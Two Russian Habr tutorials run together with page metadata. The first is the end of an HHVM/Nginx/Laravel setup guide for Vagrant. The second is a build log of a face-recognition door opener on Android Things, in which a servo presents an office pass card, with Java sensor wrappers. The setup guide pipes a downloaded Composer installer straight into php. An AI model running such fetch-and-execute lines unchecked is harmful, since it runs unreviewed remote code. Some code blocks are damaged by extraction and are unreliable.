Я использую [Vagrant](http://www.vagrantup.com), и я хочу, чтобы моим корневым каталогом была директория /vagrant. Для изменения корня, нам нужно настроить как HHVM, так и Nginx.
Давайте начнем с HHVM. Файл для редактирования: /etc/hhvm/server.hdf Вот однострочная команда для выполнения:
```
# Change doc root from /var/www/ to /vagrant/
$ sudo sed -i 's/SourceRoot = \/var\/www\//SourceRoot = \/vagrant\//' /etc/hhvm/server.hdf
```
Затем перезапускаем HHVM для применения изменений:
```
$ sudo service hhvm-fastcgi restart
```
##### Настраиваем Nginx
Теперь настроим Nginx. Я создам новый конфигурационный файл под названием **vagrant:**
```
# Create and edit our new configuration file
$ sudo vim /etc/nginx/sites-available/vagrant
```
Здесь вы можете увидеть конечное содержимое этого файла:
```
// File /etc/nginx/sites-available/vagrant
server {
root /vagrant;
index index.html index.htm index.php;
server_name localhost; # 192.168.33.10.xip.io if you are using Vaprobash
include hhvm.conf; # Include HHVM's configuration file for Nginx
location / {
try_files $uri $uri/ /index.php?q=$uri&$args;
}
location ~ /\.ht {
deny all;
}
}
```
##### Два важных замечания
**Во-первых,** мы не определяем блок *location*. Установка Nginx до HHVM представляет возможность HHVM увидеть Nginx и создать файл /etc/nginx/hhvm.conf для вас. Файл hhvm.conf, который мы подключаем, уже имеет блок location, нужный PHP.
**Во-вторых,** файл hhvm.conf предполагает корневой каталог /var/www. Это перезаписывает настройку *root/vagrant.* Нам нужно изменить это, чтобы наш vagrant-файл определял корневой каталог путем удаления директивы root в файле hhvm.conf:
```
$ sudo vim /etc/nginx/hhvm.conf
# Then comment out the line 'root /var/www' and save
```
Сам файл /etc/nginx/hhvm.conf:
```
location ~ \.php$ {
# root /var/www
fastcgi_keep_conn on;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www$fastcgi_script_name;
include fastcgi_params;
}
```
Теперь включим виртуальный хост, который мы только что создали:
```
$ sudo ln -s /etc/nginx/sites-available/vagrant /etc/nginx/sites-enabled/vagrant
```
Теперь предстоит перезапустить HHVM-FastCGI и Nginx для вступления в силу изменений. Но сначала, создадим тестовый php-файл.
##### Немного PHP
Создадим простой тестовый файл:
```
$ vim /vagrant/index.php
```
Что-то простое вроде этого:
```
php
echo phpinfo(); // Expected output: HipHop
</code
```
Дело за малым. Просто перезапускаем hhvm-fastcgi и nginx. После этого, вы сможете увидеть index.php при подключении к IP-адресу сервера (или к 192.168.33.10.xip.io, если вы юзаете [Vaprobash](https://github.com/fideloper/Vaprobash)) в браузере.
```
$ sudo service hhvm-fastcgi restart
$ sudo service nginx reload
```
Вы должны увидеть «HipHop» в браузере.
##### Laravel
В нашем случае установка Ларавела ничем не отличается от обычной установки оного. С тех пор, как мы симлинкнули PHP, все должно работать как часы. Давайте попробуем.
##### Установка Composer
Это будет обыкновенная глобальная инсталляция:
```
$ curl -sS https://getcomposer.org/installer | php
$ sudo mv composer.phar /usr/local/bin/composer
```
##### Установка Laravel
Теперь нам предоставляется возможность создать новый laravel-проект. Я назову его hhlaravel:
```
# Move to /vagrant so we install Laravel
# into /vagrant/hhlaravel
$ cd /vagrant
$ composer create-project laravel/laravel hhlaravel
```
Можете попить чая или кофе, пока установятся все зависимости :)
##### Последний шаг: настройка Laravel
Давайте сделаем маленький твик и установим корневой каталог в /public:
```
# Fast CGI document root
$ sudo sed -i 's/SourceRoot = \/vagrant\//SourceRoot = \/vagrant\/hhlaravel\/public\//' /etc/hhvm/server.hdf
# Nginx document root
sudo sed -i 's/root \/vagrant;/root \/vagrant\/hhlaravel\/public;/' /etc/nginx/sites-available/vagrant
# Reload configuration
$ sudo service hhvm-fastcgi restart
$ sudo service nginx reload
```
Все готово! Можете проверить работоспособность с помощью браузера.
##### Предостережения и примечания
Вам захочется уделять намного больше внимания на логи ошибок. По умолчанию, HHVM никаких ошибок в браузер не выводит. Проверьте лог ларавела:
```
# Show last 50 lines written out to laravel log
$ tail -n 50 -f /vagrant/hhlaravel/app/logs/laravel.log
```
Проверьте лог HHVM:
```
$tail -n 50 -f /var/log/hhvm/error.log
```
Вы также можете получать stack trace в ваши логи путем [изменения конфигурации сервера](https://github.com/facebook/hhvm/wiki/runtime-options).
Отредактируйте **/etc/hhvm/server.hdf** и добавьте директивы **InjectedStackTrace** и **NativeStackTrace.**
```
Log {
Level = Warning
AlwaysLogUnhandledExceptions = true
RuntimeErrorReportingLevel = 8191
UseLogFile = true
UseSyslog = false
File = /var/log/hhvm/error.log
InjectedStackTrace = true
NativeStackTrace = true
Access {
* {
File = /var/log/hhvm/access.log
Format = %h %l %u % t \"%r\" %>s %b
}
}
}
```
И наконец, вы можете добавить немного вывода в окно браузера путем добавления настроек Debug'а в /etc/hhvm/server.hdf:
```
Debug {
FullBacktrace = true
ServerStackTrace = true
ServerErrorMessage = true
TranslateSource = true
}
```
Однако помните, что журналы ошибок будут иметь более подробную информацию об ошибке. Здесь есть статья об использовании [remote debugger'а для HHVM](http://miles-by-motorcycle.com/fv-b-8-657/configuring-and-using-the-hiphopvm--hhvm--remote-debugger) (на себе не испытывал). | https://habr.com/ru/post/208778/ | null | ru | null |
# Умный замок на Android Things и Raspberry Pi3
В декабре 2016 года Google [анонсировал](https://android-developers.googleblog.com/2016/12/announcing-googles-new-internet-of-things-platform-with-weave-and-android-things.html) выход первой Developer Preview версии Android Things. С тех пор проект сильно изменился. Все еще доступна только preview-версия, но с каждым шагом у платформы появляются новые возможности и растет число поддерживаемых устройств.
С каждым днем появляются новые примеры использования IoT устройств в реальном мире, а сама платформа становится все более привлекательной. Мы в [Live Typing](https://livetyping.com/ru/) решили тоже погрузиться в интереснейший мир Интернет Вещей и рассказать о своем опыте. Эта статья для тех, кто слышал об Android Things, но боялся попробовать. А также о том, как мы реализовали свой «умный замок» и пользуемся им в собственном офисе.
Описание идеи
-------------
Проблема №1: Наша компания снимает офис с системой электронных пропусков и стеклянными дверями. Часто сотрудники забывают свои карточки дома или просто выходят на улицу без них, а потом стучатся или звонят коллегам, чтобы попасть обратно. Карточку нужно прикладывать к магнитному замку и внутри, и снаружи офиса. Если внутри мы просто привязали карточку на веревочку, то попасть в офис без ключа снаружи — это проблема, которую мы бы хотели решить.
Проблема №2: По выходным в нашем офисе проводятся разного рода митапы. Основная часть присутствующих не является нашими коллегами. Их количество варьируется, но сколько бы их ни было, дать ключ постороннему человеку мы не можем, как и держать дверь все время открытой — это небезопасно для нашего имущества. Поэтому сейчас приходится назначать специального «человека-швейцара» или подпирать дверь чем придётся.
Отключить, убрать или модернизировать проходную систему мы не имеем права, но на то, чтобы подключить что-то снаружи, ограничения не распространяются. Мы решили оборудовать дверь сервоприводом, который будет поворачивать прикреплённую карточку к считывающему датчику при успешном распознавании лица. Фотографию лица предоставляет камера. Таким образом получаем этакий умный дверной замок.
С таким замком у нас появляется своя идентификационная система с блэкджеком и широкими возможностями. (Например смешные фотографий сотрудников, из которых можно делать стикеры для внутреннего шутливого использования). Если говорить о второй проблеме, то замок позволяет сделать регистрацию и пропуск по фотографиям участников встречи. Awesome, не правда ли?
Дальше идея обрастала сопутствующими нюансами и вопросами. Когда начинать и заканчивать фотографировать? Как часто и долго делать фотографии? Стоит отключать систему в нерабочие часы и темное время суток? Как визуализировать работу системы? Но обо всем этом далее и по отдельности. За основу проекта мы взяли пример [Doorbell](https://developer.android.com/things/training/doorbell/index.html) с официальной страницы Android Things. Оригинальный пример называется «звонок», однако мы хотели, чтобы пользователь системы отпирал дверь с минимальными усилиями, а посторонние люди внутрь не попали. Поэтому мы посчитали более правильным назвать его «умный замок».
Благодарности
-------------
Сначала у нас не было ничего. Ни самого Raspberry, ни комплектующих, ни опыта работы с ними — только теоретические знания, полученные из статей и документации. Первый раз попробовать поиграться c Android Things удалось на [CodeLab](https://github.com/Mobilatorium/smart-doorbell-codelab) проводимом в нашей IT-столице Сибири, городе Омск, ребятами из [Mobilatorium](http://mobilatorium.org/). Мы быстро завели проект, где вместо Google Cloud Vision имплементировали свою реализацию FindFace на [Tensor Flow](https://www.tensorflow.org). Если вам интересно, как устроен back-end, то можете ознакомиться с отличной статьей [«Ищем знакомые лица»](https://habrahabr.ru/post/317798/), где автор очень подробно описал принципы и алгоритмы работы с распознаванием лиц. Если нет, то можете воспользоваться связкой [Google Cloud Vision](https://cloud.google.com/vision/) + [Firebase Realtime Database](https://firebase.google.com/docs/database/), как это сделано в приведённом выше CodeLab.
Когда мы вернулись в офис, оказалось что у нашего сотрудника Миши есть все необходимые компоненты и даже сам Raspberry Pi3, которые он недавно приобрёл, желая побаловаться чем-то эдаким. Также остались компоненты от ребят, проводивших [летнюю школу] (<https://vk.com/mobilatorium?w=wall-130802553_81%2Fall>) с изучением Arduino. Огромное им спасибо за предоставленные железяки.
Комплектующие
-------------
Для реализации умного замка нам понадобились:
* Raspberry Pi 3 — 1шт;
* MicroSD 8Gb — 1шт;
* NoIR Camera V2 — 1шт;
* Breadboard — 1шт;
* Infrared PIR Motion Sensor Module — 1шт;
* SG90 Servo Motor — 1шт;
* Photoresistor (Light Sensor) — 1шт;
* Push Button — 1шт;
* LED — 3 шт;
* Resistors (1k) — 3шт;
* Resistors (10k) — 1 шт;
* Pin Jumper Wires — много штук;
* Изолента — 1шт.
Все комплектующие легко найти и недорого заказать на китайских сайтах, и мы специально оставили их названия на английском для удобства поиска. Стоит лишь упомянуть, что комплект обойдётся вам примерно в 100-125$. Самыми дорогими компонентами являются камера и сам Raspberry Pi3.
Реализация
----------
Для лучшего понимания мы разобьём описание реализации на отдельные шаги. Соединяя схему по частям, удобней восстановить картину на любом шаге. Кода мало, и если вы написали хотя бы одно приложение под Android, то проблем у вас не возникнет, на мой взгляд. Для разработки будем использовать привычную Android Studio. Вы даже сможете использовать свои любимые библиотеки и фреймворки, такие как Dagger, RxJava, Retrofit, OkHttp, Timber и т.п.
Перед началом работ стоит ознакомиться с кратким введением в [Android Things](https://habrahabr.ru/post/318296/), а также с [пинами на Raspberry Pi3](https://developer.android.com/things/images/pinout-raspberrypi.png). А эта цветная картинка с распиновкой является отличным наглядным гайдом и пригодится вам ещё не один раз.
Raspberry Pi поддерживает разный набор интерфейсов оборудования. Но нас главным образом интересуют [GPIO](https://developer.android.com/things/sdk/pio/gpio.html) (General-purpose input/output) и [PWM](https://developer.android.com/things/sdk/pio/pwm.html) (Pulse Width Modulation). Они будут основными способами взаимодействия между платой и датчиками при реализации нашего проекта.
Библиотеки для различных периферийных устройств уже написаны до нас, а многие из них доступны даже сразу из коробки. Поэтому, когда начнёте интегрировать новый датчик, сначала ознакомтесь с [этим](https://github.com/amitshekhariitbhu/awesome-android-things#drivers) и [этим](https://github.com/androidthings/contrib-drivers) репозиториями. Здесь собрано множество драйверов. Скорее всего, вы найдете нужный. Если нет, то Google предоставили специальный концепт [User Drivers](https://developer.android.com/things/sdk/drivers/index.html), который расширяет возможности [Android Framework Services](https://anatomyofandroid.com/2013/10/12/android-framework/). Он перенаправляет происходящие в железе во фреймворк и позволяет обработать их стандартными средствами Android API и таким образом создать свой драйвер. Коротко работу с любым драйвером можно разбить на следующие этапы:
* создать объект драйвера;
* зарегистрировать драйвер;
* подписаться на события;
* отписаться и отменить регистрацию;
Можете ознакомиться с примером реализации собственного драйвера в [этой статье](https://www.novoda.com/blog/writing-your-first-android-things-driver-p1/).
### Шаг 1: Установка Android Things
Устанавливаем самый свежий [образ Android Things](https://developer.android.com/things/hardware/raspberrypi.html#flashing_the_image) на Raspberry Pi3. Там же приведены ссылки на инструкции по установке образа для различных операционных систем.
Убедиться, что всё успешно установлено, можно, подключив к Raspberry какой-нибудь дисплей через HDMI-кабель. Если все окей, то вы увидите на экране анимацию загрузки Android Things.
Для более комфортного взаимодействия с устройством в документации советуют [настроить подключение по WiFi](https://developer.android.com/things/hardware/raspberrypi.html#connecting_wi-fi). После этого внизу экрана под заставкой Android Things появится IP-адрес девайса в вашей WiFi сети.
Если в вашей сети только одно такое устройство, то можно не запоминать адрес и не проверять его всякий раз при изменении, а воспользоваться зарезервированным Raspberry именем хоста и подключаться через adb командой.
```
$ adb connect Android.local
```
### Шаг 2: Создание приложения
Создаём новое приложение через Android Studio. Можно визуализировать работу своей программы стандартными Android виджетами, разместив их экране, хотя это не обязательно. Ознакомьтесь с [полной инструкцией создания первого Android Things приложения](https://developer.android.com/things/training/first-device/create-studio-project.html) на официальном сайте, а мы разберём только основные моменты.
Минимальные требования:
* Android Studio 2.2 и выше;
* SDK Tools 25.0.3 и выше;
* Min SDK 24 и выше;
* Target SDK 24 и выше.
Добавим в `app/build.gradle` зависимость Android Things support library, которая даст нам доступ к нужному API, не являющемся частью стандартного Android SDK.
```
dependencies {
...
provided 'com.google.android.things:androidthings:0.4-devpreview'
...
}
```
Каждое приложение связывается с используемой по умолчанию библиотекой Android, в которой имеются базовые пакеты для построения приложений (со стандартными классами, например Activity, Service, Intent, View, Button, Application, ContentProvider и так далее).
Однако некоторые пакеты находятся в собственных библиотеках. Если ваше приложение использует код из одного из таких пакетов, оно должно в явном виде потребовать, чтобы его связали с этим пакетом. Это делается через отдельный элемент .
```
...
...
```
Android Things позволяет одновременно устанавливать только одно приложение, а больше нам и не надо. Благодаря этому ограничению появляется возможность декларировать для Activity, как `IOT_LAUCHER` в AndroidManifest приложения, что позволяет запускать это Activity по-умолчанию сразу же при старте девайса. Также оставим стандартный чтобы Android Studio смогла запустить наше приложение после сборки и деплоя.
```
...
...
```
### Шаг 3: Кнопка
Начнём с подключения тактовой кнопки, при нажатии на которую камера сделает один снимок. Это простой механизм: толкатель нажимается — цепь замыкается. Кнопка с четырьмя контактами представляет собой две пары соединительных рельс. При замыкании и размыкании между пластинами кнопки возникают микроискры, провоцирующие многократные переключения за крайне малый промежуток времени. Такое явление называется дребезгом. Подробней о [кнопке](https://goo.gl/6SymSw).
Кнопка подключается через макетную плату с использованием резистора на 1 кОм. Чтобы не запутаться в резисторах обратите, внимание на их [цветовую кодировку](https://goo.gl/TlsUYf). Не будем подробно расписывать процесс подключения. Просто сопоставьте представленную схему с распиновкой Raspberry, данной чуть выше.
Для интеграции кнопки используем [готовый драйвер](https://github.com/androidthings/contrib-drivers/tree/master/button), который уже учитывает эффект дребезга. Добавим зависимость
```
dependencies {
...
compile 'com.google.android.things.contrib:driver-button:0.3'
...
}
```
Напишем класс-обёртку для работы с кнопкой. Возможно, реализация через обёртку покажется немного излишней, но таких образом мы сможем инкапсулировать работу с кодом драйвера кнопки и создать собственный интерфейс взаимодействия.
**ButtonWrapper.java**
```
import com.google.android.things.contrib.driver.button.Button;
public class ButtonWrapper {
private @Nullable Button mButton;
private @Nullable OnButtonClickListener mOnButtonClickListener;
public ButtonWrapper(final String gpioPin) {
try {
mButton = new Button(gpioPin, Button.LogicState.PRESSED_WHEN_HIGH);
mButton.setOnButtonEventListener(new Button.OnButtonEventListener() {
@Override
public void onButtonEvent(Button button, boolean pressed) {
if (pressed && mOnButtonClickListener != null) {
mOnButtonClickListener.onClick();
}
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
public void setOnButtonClickListener(@Nullable final OnButtonClickListener listener) {
mOnButtonClickListener = listener;
}
public void onDestroy() {
if (mButton == null) {
return;
}
try {
mButton.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
mButton = null;
}
}
public interface OnButtonClickListener {
public void onClick();
}
}
```
Воспользуемся этой обёрткой в нашем Activity. Просто передадим в конструктор объекта кнопки название GPIO порта ("BCM4") на Raspberry Pi3, к которому она подключена на схеме.
**MainActivity.java**
```
public class MainActivity extends Activity {
private static final String GPIO_PIN_BUTTON = "BCM4";
private ButtonWrapper mButtonWrapper;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
...
mButtonWrapper = new ButtonWrapper(GPIO_PIN_BUTTON);
mButtonWrapper.setOnButtonClickListener(new ButtonWrapper.OnButtonClickListener() {
@Override
public void onClick() {
Timber.d("BUTTON WAS CLICKED");
startTakingImage();
}
});
...
}
@Override
protected void onDestroy() {
super.onDestroy();
...
mButtonWrapper.onDestroy();
...
}
private void startTakingImage() {
// TODO take photo
...
}
}
```
### Шаг 4: Камера
Мы использовали камеру [NoIR Camera V2](https://www.raspberrypi.org/products/pi-noir-camera-v2/). Примерно за 45$ вы получите характеристики, достаточные для нашего проекта:
* максимальное разрешение: 8 Мп (3280×2464);
* поддерживаемые видеоформаты: 1080p (30fps), 720p (60fps), 640×480p (90fps);
* энергопотребление: 250 мА
Камера подключается к управляющей плате шлейфом через видеовход CSI (Camera Serial Interface). Такой способ снижает нагрузку на центральный процессор по сравнению с подключением аналогичных камер по USB.
Добавляем в манифест разрешение на использование камеры и требования, что устройство должно ею обладать. Добавление разрешений обязательно, однако согласие на все Permissions, в том числе и на Dangerous Permissions, получается автоматически при установке приложения (существует известная проблема, что при добавлении нового пермишена после переустановки приложения требуется полностью перезагрузить устройство).
```
```
Для дальнейшего подключения камеры требуется написать большие по меркам этой статьи куски кода. Пожалуйста, ознакомьтесь с ними самостоятельно по [этой ссылке](https://developer.android.com/things/training/doorbell/camera-input.html) на официальном сайте. В коде устанавливаются настройки камеры. Мы не стали использовать всю её мощь и выбрали разрешение 480х320.
### Шаг 5: Светодиод
Светодиод — вид диода, который светится, когда через него проходит ток. Его собственное сопротивление после насыщения очень мало. При подключении потребуется резистор, который будет ограничивать ток, проходящий через светодиод, иначе последний просто перегорит. Подробней о [светодиодах](https://goo.gl/GmjwMl)
Мы будем использовать три светодиода разных цветов:
* жёлтый (`BCM20`) — индикатор начала работы, которая продолжается указанный разработчиком интервал времени;
* зелёный (`BCM21`) — программа успешно распознала лицо из базы данных;
* красный (`BCM16`) — программа не распознала лицо в течении указанного интервала времени
Можно использовать один трехцветный светодиод вместо трёх одноцветных. Мы пользовались тем, что было под рукой. Используя резисторы в 1 кОм, поочередно подключаем наши светодиоды через макетную плату в соответствии с приведенной схемой.
При реализации обёртки для работы со светодиодом воспользуемся `PeripheralManagerService`, сервисом, который дает доступ к GPIO интерфейсу. Открываем соединение и конфигурируем его для передачи сигнала. К сожалению, если заглянуть в реализацию абстрактного класса `com.google.android.things.pio.Gpio`, то можно увидеть, что вызов почти каждого метода способен генерировать `java.io.IOException`. Для простоты скроем все `try-catch` выражения в нашей обертке.
**LedWrapper.java**
```
public class LedWrapper {
private @Nullable Gpio mGpio;
public LedWrapper(String gpioPin) {
try {
PeripheralManagerService service = new PeripheralManagerService();
mGpio = service.openGpio(gpioPin);
mGpio.setDirection(Gpio.DIRECTION_OUT_INITIALLY_LOW);
} catch (IOException e) {
e.printStackTrace();
}
}
public void turnOn() {
if (mGpio == null) {
return;
}
try {
mGpio.setValue(true);
} catch (IOException e) {
e.printStackTrace();
}
}
public void turnOff() {
if (mGpio == null) {
return;
}
try {
mGpio.setValue(false);
} catch (IOException e) {
e.printStackTrace();
}
}
public void onDestroy() {
try {
mGpio.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
mGpio = null;
}
}
}
```
Имплементируем его в наше Activity для каждого светодиода по отдельности.
**MainActivity.java**
```
public class MainActivity extends Activity {
private final static String GPIO_PIN_LED_GREEN = “BCM21”;
private LedWrapper mLedWrapper;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
...
mLedWrapper = new LedWrapper(GPIO_PIN_LED_GREEN);
mLedWrapper.turnOff();
...
}
private void turnOn() {
mLedWrapper.turnOn();
}
@Override
protected void onDestroy() {
super.onDestroy();
...
mLedWrapper.onDestroy();
...
}
}
```
### Шаг 6: Датчик движения
Каждый раз подходить к двери и жать на кнопку, словно это дверной звонок, скучно. Мы хотели избавить гостя нашего офиса от лишних действий или даже вовсе открывать дверь, пока человек только подходит к двери. Поэтому мы решили использовать датчик движения как основной триггер для начала работы всей системы. На всякий случай оставим кнопку с дублирующей функциональностью как есть. Подробней о [датчике движения](https://learn.adafruit.com/pir-passive-infrared-proximity-motion-sensor?view=all).
Подключаем датчик движения через `BCM6` пин по схеме, приведенной ниже.
**MotionWrapper.java**
```
public class MotionWrapper {
private @Nullable Gpio mGpio;
private @Nullable MotionEventListener mMotionEventListener;
public MotionWrapper(String gpioPin) {
try {
mGpio = new PeripheralManagerService().openGpio(gpioPin);
} catch (IOException e) {
e.printStackTrace();
}
}
public void setMotionEventListener(@Nullable final MotionEventListener listener) {
mMotionEventListener = listener;
}
public void startup() {
try {
mGpio.setDirection(Gpio.DIRECTION_IN);
mGpio.setActiveType(Gpio.ACTIVE_HIGH);
mGpio.setEdgeTriggerType(Gpio.EDGE_RISING);
mGpio.registerGpioCallback(mCallback);
} catch (IOException e) {
e.printStackTrace();
}
}
public void shutdown() {
if (mGpio == null) {
return;
}
try {
mGpio.unregisterGpioCallback(mCallback);
mGpio.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public void onDestroy() {
try {
mGpio.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
mGpio = null;
}
}
private final GpioCallback mCallback = new GpioCallback() {
@Override
public boolean onGpioEdge(Gpio gpio) {
if (mMotionEventListener != null) {
mMotionEventListener.onMovement();
}
return true;
}
};
public interface MotionEventListener {
void onMovement();
}
}
```
**MainActivity.java**public class MainActivity extends Activity {
```
private static final String GPIO_PIN_MOTION_SENSOR = "BCM6";
private MotionWrapper mMotionWrapper;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
...
mMotionWrapper = new MotionWrapper(GPIO_PIN_MOTION_SENSOR);
mMotionWrapper.setMotionEventListener(new MotionWrapper.MotionEventListener() {
@Override
public void onMovement() {
startTakingPhotos();
}
});
mMotionWrapper.startup();
...
```
}
```
@Override
protected void onDestroy() {
super.onDestroy();
...
mMotionWrapper.shutdown();
mMotionWrapper.onDestroy();
...
}
private void startTakingPhotos() {
...
}
```
}
### Шаг 7: Сервопривод
Сервопривод совершает основную механическую работу в нашем девайсе. Именно он поворотом выходного вала на 180 градусов подносит карточку к считывающему устройству. Подробней про [сервоприводы](https://goo.gl/djxOOz).
Мы снова используем уже [существующий драйвер](https://github.com/androidthings/contrib-drivers/tree/master/pwmservo), над которым напишем свою обёртку. Добавляем в `app/build.gradle` зависимость.
```
dependencies {
...
compile 'com.google.android.things.contrib:driver-pwmservo:0.2'
...
}
```
Подключим привод через [интерфейс широтно-импульсной модуляции](https://goo.gl/2WiaR5) `PWM1` в соответствии со схемой приведенной ниже. Использование `PWM`интерфейса обусловлено тем, что, в отличии от предыдущих случаев, требуется передать конкретное значение через управляющий сигнал, а не просто бинарный импульс. Управляющий сигнал — импульсы постоянной частоты и переменной ширины. Сервопривод использует широтно-импульсный входящий PWM-сигнал, преобразуя его в конкретный угол поворота выходного вала.
**ServoWrapper.java**
```
public class ServoWrapper {
private static final float ANGLE_CLOSE = 0f;
private static final float ANGLE_OPEN = 180f;
private Servo mServo;
private Handler mHandler = new Handler();
public ServoWrapper(final String gpioPin) {
try {
mServo = new Servo(gpioPin);
mServo.setAngleRange(ANGLE_CLOSE, ANGLE_OPEN);
mServo.setEnabled(true);
} catch (IOException e) {
e.printStackTrace();
}
}
public void open(final long delayMillis) {
try {
mServo.setAngle(ANGLE_OPEN);
} catch (IOException e) {
e.printStackTrace();
}
mHandler.removeCallbacks(mMoveServoRunnable);
if (delayMillis > 0) {
mHandler.postDelayed(mMoveServoRunnable, delayMillis);
}
}
public void close() {
if (mServo == null) {
return;
}
try {
mServo.setAngle(ANGLE_CLOSE);
} catch (IOException e) {
e.printStackTrace();
}
}
public void onDestroy() {
mHandler.removeCallbacks(mMoveServoRunnable);
mMoveServoRunnable = null;
if (mServo != null) {
try {
mServo.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
mServo = null;
}
}
}
private Runnable mMoveServoRunnable = new Runnable() {
@Override
public void run() {
mHandler.removeCallbacks(this);
close();
}
};
}
```
**MainActivity.java**public class MainActivity extends Activity {
```
private static final String GPIO_PIN_SERVO = "PWM1";
private ServoWrapper mServoWrapper;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
...
mServoWrapper = new ServoWrapper(GPIO_PIN_SERVO);
...
```
}
```
private void openDoor() {
...
mServoWrapper.open(DELAY_SERVO_MS);
...
}
@Override
protected void onDestroy() {
super.onDestroy();
...
mServoWrapper.onDestroy();
...
}
```
}
### Шаг 8: Фоторезистор
В тёмное время суток работа замка бессмысленна, потому что по полученным фотографиям сложнее распознать лица. Значит, систему можно временно отключать. Для этого в качестве датчика света используем фоторезистор — Light Dependent Resistors (LDR). Подробней о [фоторезисторе](http://www.resistorguide.com/photoresistor/).
Для работы с фоторезистором подходит драйвер кнопки, описанный ранее. Это логично, ведь суть и механика работы действительно совпадают. В `app/build.gradle` уже должна быть подключена библиотека.
```
dependencies {
...
compile 'com.google.android.things.contrib:driver-button:0.3'
...
}
```
Схема подключения к макетной плате аналогична схеме подключения кнопки. Отличие лишь в использовании резистор в 10 кОм. Используем порт `BCM25`.
Несмотря на всю похожесть, напишем для него отдельную обёртку.
**BrightrWrapper.java**
```
public class BrightrWrapper {
private @Nullable Button mLightDetector;
private @Nullable OnLightStateChangeListener mOnLightStateChangeListener;
public BrightrWrapper(final String gpioPin) {
try {
mLightDetector = new Button(gpioPin, Button.LogicState.PRESSED_WHEN_HIGH);
mLightDetector.setOnButtonEventListener(new Button.OnButtonEventListener() {
@Override
public void onButtonEvent(Button button, boolean isLighted) {
if (mOnLightStateChangeListener != null) {
mOnLightStateChangeListener.onLightStateChange(isLighted);
}
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
public void setOnLightStateListener(@Nullable final OnLightStateChangeListener listener) {
mOnLightStateChangeListener = listener;
}
public void onDestroy() {
if (mLightDetector == null) {
return;
}
try {
mLightDetector.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public interface OnLightStateChangeListener {
public void onLightStateChange(boolean isLighted);
}
}
```
**MainActivity.java**
```
public class MainActivity extends Activity {
private static final String GPIO_PIN_LIGHT_DETECTOR = "BCM25";
private BrightrWrapper mBrightrWrapper;
private boolean mIsTakePhotoAllowed = true;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
...
mBrightrWrapper = new BrightrWrapper(GPIO_PIN_LIGHT_DETECTOR);
mBrightrWrapper.setOnLightStateListener(new BrightrWrapper.OnLightStateChangeListener() {
@Override
public void onLightStateChange(final boolean isLighted) {
mIsTakePhotoAllowed = isLighted;
handleLightState();
}
});
...
}
private void handleLightState() {
if (mIsTakePhotoAllowed) {
...
} else {
...
}
}
@Override
protected void onDestroy() {
super.onDestroy();
...
mBrightrWrapper.onDestroy();
...
}
}
```
Демонстрация реализации
-----------------------
Пересмотрев все выпуски телепередачи «Очумелые ручки», мы искусно упаковали нашего «монстра» в коробочку из-под старого телефона. Результат вы могли увидеть в начале статьи.
Видео-демонстрация
Проблемы
--------
Плохое качество датчиков и сенсоров. Срабатывают или не срабатывают, когда надо и когда не надо. Сервопривод потрескивает в режиме ожидания.
Если вы ознакомились с принципом работы датчика движения, то могли понять, что через стекло он не срабатывает. Поэтому пришлось выводить его наружу.
Разместив нашу конструкцию изнутри на тройной стеклопакет все фотографии оказались сильно засвечены. Быстро сообразив, что проблема заключается в отражении света от белой поверхности коробочки и его многократном преломлении через стеклопакет, мы просто наклеили чёрный лист бумаги вокруг камеры, чтобы он поглощал часть света.
Нет защиты от распечатанных фотографий.
Итоги
-----
Пример кода на [Github](https://github.com/LiveTyping/door-unlocker-android-things/tree/habrahabr).
Интересно, захватывающе, модно, молодежно. Это был интересный проект, и идеи для его развития еще есть. Например, изнутри дверь также открывается по карточке. Можно решить и эту проблему — открывать дверь каждому, кто подходит к ней изнутри. Пожалуйста, предложите в комментариях свои варианты доработки нашего умного замка. Если они нам понравятся, то мы обязательно их реализуем.
Какие варианты монетизации разработок под IoT знаете вы? Делитесь своим опытом в комментариях.
Не на правах рекламы хочу поделиться отличной статьей, где автор придумал и реализовал самодельную читалку новостей шрифтом Брайля [BrailleBox](https://medium.com/exploring-android/braillebox-building-a-braille-news-reader-with-android-things-f848fe6de596) для слабо видящих на Android Things. Выглядит и реализовано так же круто, как и звучит. Отличный, воодушевляющий проект.
Полезные ссылки
---------------
* [Android Things](https://developer.android.com/things/sdk/index.html)
* [Raspberry PI3](https://developer.android.com/things/hardware/raspberrypi.html)
* [Drivers #1](https://github.com/androidthings/contrib-drivers)
* [Drivers #2](https://github.com/amitshekhariitbhu/awesome-android-things#drivers)
* [Mobilatorium](https://github.com/Mobilatorium/smart-doorbell-codelab)
* [Building a Cloud Doorbell](https://developer.android.com/things/training/doorbell/index.html)
* [Sensor Motion #1](http://blog.blundellapps.co.uk/tut-android-things-writing-a-pir-motion-sensor-driver/)
* [Sensor Motion #2](https://github.com/blundell/PirMotionSensorModuleTut)
* [How sensor motion works](https://learn.adafruit.com/pir-passive-infrared-proximity-motion-sensor?view=all)
* [Servo](https://github.com/androidthings/drivers-samples/tree/master/pwmservo)
* [LED](https://androidthings.rocks/2017/01/08/your-first-blinking-led/)
* [Photoresistor](http://www.resistorguide.com/photoresistor/)
* [Photoresistor Sample](https://github.com/Polidea/at_candle)
* [Ultrasonic sensor](https://hackernoon.com/android-things-basics-measure-distance-with-ultrasonic-sensor-3196fe5d7d7c)
* [Rasberry3 Pins](https://www.raspberrypi.org/documentation/usage/gpio-plus-and-raspi2/)
* [About GPIO pins on Raspberry Pi](https://www.raspberrypi.org/documentation/usage/gpio-plus-and-raspi2/)
* [About GPIO pins](https://developer.android.com/things/sdk/pio/gpio.html)
* [About PWM pins](https://developer.android.com/things/sdk/pio/pwm.html)
* [Writing your first Android Things driver](https://www.novoda.com/blog/writing-your-first-android-things-driver-p1/). | https://habr.com/ru/post/331888/ | null | ru | null |
# Как рендерится кадр Rise of the Tomb Raider
